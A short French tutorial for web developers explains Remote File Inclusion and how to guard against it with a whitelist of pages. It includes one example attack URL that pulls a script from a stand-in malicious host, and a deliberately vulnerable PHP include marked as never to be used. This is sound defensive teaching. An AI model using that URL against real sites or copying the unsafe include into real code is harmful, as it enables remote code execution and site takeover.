Se protéger de la faille RFI (Remote File Inclusion)
Introduction : Qu’est-ce que la faille RFI
Article à destination des développeurs web et administrateurs de sites.
La faille RFI s’apparente à la faille LFI. Elle permet également d’inclure des fichiers appartenant à un serveur externe à partir d’une URL. Mais elle permet surtout d’inclure n’importe quel fichier sur le serveur distant.
Soyez rassurés, cette faille se fait de plus en plus rare suite aux mises à jour des serveur web et des systèmes.
Que peut-on faire avec une faille RFI ?
Cette faille permet souvent de placer un shell php sur le serveur afin de l’administrer à distance.
Des commandes peuvent donc être exécutées et d’une manière générale n’importe qui peut contrôler votre site web faillible via celles-ci.
Il est bien sûr possible d’inclure n’importe quel autre fichier sur un tel serveur. Et il est donc possible d’effectuer beaucoup d’actions diverses et variées en exploitant cette faille.
Comment savoir si mon site est faillible ?
Votre site peut être faillible si il utilise une URL comme dans cet exemple typique :
http://exemple.com/index.php?page=news
Il est donc possible d’inclure un fichier depuis un autre site :
http://exemple.com/index.php?page=http://sitemalveillant.com/script.txt
Un script php faillible typique se présente ainsi :
<?php
include($_GET['page']); //à ne jamais faire
?>
Comment se protéger contre la faille RFI ?
Pour commencer, assurez vous d’avoir tout mis à jour, votre serveur web, votre système etc.
Ensuite la protection s’apparente à celle utilisée pour les failles LFI, il suffit d’inclure les fichiers sans passer directement par une URL :
<?php $lespages=array('news'=>'news.htm', 'contact'=>'contact.htm', 'accueil'=>'accueil.htm'); if (in_array($_GET['page'], array_keys($lespages))) { //si la page est dans le tableau include $lespages[$_GET['page']]; //on l'inclut sans risques } else { //sinon retour à l'accueil include $lespages['accueil']; }?>
En savoir plus : Les étapes à suivre pour commencer avec le Hacking